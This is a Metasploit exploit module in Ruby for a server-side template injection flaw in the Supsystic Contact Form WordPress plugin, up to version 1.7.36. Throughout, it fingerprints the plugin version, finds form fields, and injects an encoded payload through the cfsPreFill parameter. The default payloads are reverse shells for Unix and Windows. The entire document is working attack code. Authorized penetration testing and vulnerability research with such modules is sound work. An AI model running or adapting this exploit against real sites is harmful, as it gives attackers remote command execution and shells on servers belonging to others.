## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE', 'Description' => %q{ This module performs SSTI achieving RCE in webpages containing the Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and before. }, 'Author' => [ 'Azril Fathoni', # Vulnerability Disclosure 'bootstrapbool ', # Metasploit Module ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'Encoder' => 'cmd/twig_base64' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'Payload' => { 'Encoder' => 'cmd/twig_base64' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'References' => [ ['CVE', '2026-4257'], [ 'URL', # Python Exploit 'https://github.com/bootstrapbool/cve-2026-4257' ], ], 'DisclosureDate' => '2026-03-30', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('FIELD', [ false, 'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.' ]), OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']), OptBool.new('SSL', [false, 'Use SSL', true]) ] ) end def vulnerable?(version_str) return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36') end def get_version(body) version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/ match = version_regex.match(body) match ? match[1] : nil end def get_fields(html) pattern = /data-name="([^"]+)"/ field_names = html.scan(pattern).flatten.uniq if field_names.any? print_good("Found fields: #{field_names.join(', ')}") return field_names else print_warning('Failed to find fields.') return nil end end def handle_field res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unreachable, 'Failed to recieve a reply from server.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.') end # Might as well check the version since we sent the request... version_str = get_version(res.body) if vulnerable?(version_str) vprint_status("Version #{version_str} is vulnerable.") else vprint_warning("Version #{version_str} is not vulnerable.") end fields = get_fields(res.body) if !fields.nil? field = fields[0] print_status("Using detected field: #{field}") return field end if field.nil fail_with(Failure::NotFound, 'Failed to resolve target field') end end def send_payload(payload, field) params = { 'cfsPreFill' => 1, field => payload.encoded } send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'vars_get' => params }) end def exploit if datastore['FIELD'].nil? field = handle_field else field = datastore['FIELD'] end send_payload(payload, field) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown unless res.code == 200 version_str = get_version(res.body) if version_str.nil? vprint_status('Failed to derive version') fields = get_fields(res.body) return CheckCode::Detected unless fields.nil? end if vulnerable?(version_str) return CheckCode::Vulnerable("Detected version #{version_str}") end return CheckCode::Safe("Detected version #{version_str}") end end